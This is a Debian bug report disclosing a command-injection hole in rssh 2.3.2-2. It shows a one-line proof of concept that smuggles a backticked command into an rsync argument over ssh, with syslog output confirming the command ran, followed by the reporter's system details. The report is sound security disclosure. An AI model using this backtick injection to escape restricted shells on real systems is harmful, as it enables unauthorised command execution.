Package: rssh Version: 2.3.2-2 Severity: grave Tags: security Justification: user security hole
rssh allows remote command execution using shell backticks: $ ssh [EMAIL PROTECTED] rsync "`cat /etc/issue`" will run 'cat /etc/issue' on the remote host: Mar 10 15:29:55 ijon rssh[11414]: setting log facility to LOG_USER Mar 10 15:29:55 ijon rssh[11414]: setting umask to 022 Mar 10 15:29:55 ijon rssh[11414]: user liske attempted to execute forbidden commands Mar 10 15:29:55 ijon rssh[11414]: command: rsync Debian GNU/Linux 4.0 \n \l Cheers, Thomas Liske -- System Information: Debian Release: 4.0 APT prefers stable APT policy: (500, 'stable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.18-6-686 Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8) Versions of packages rssh depends on: ii debconf [debconf-2.0] 1.5.11etch1 Debian configuration management sy ii libc6 2.3.6.ds1-13etch5 GNU C Library: Shared libraries ii openssh-server 1:4.3p2-9 Secure shell server, an rshd repla rssh recommends no packages. -- debconf information excluded -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
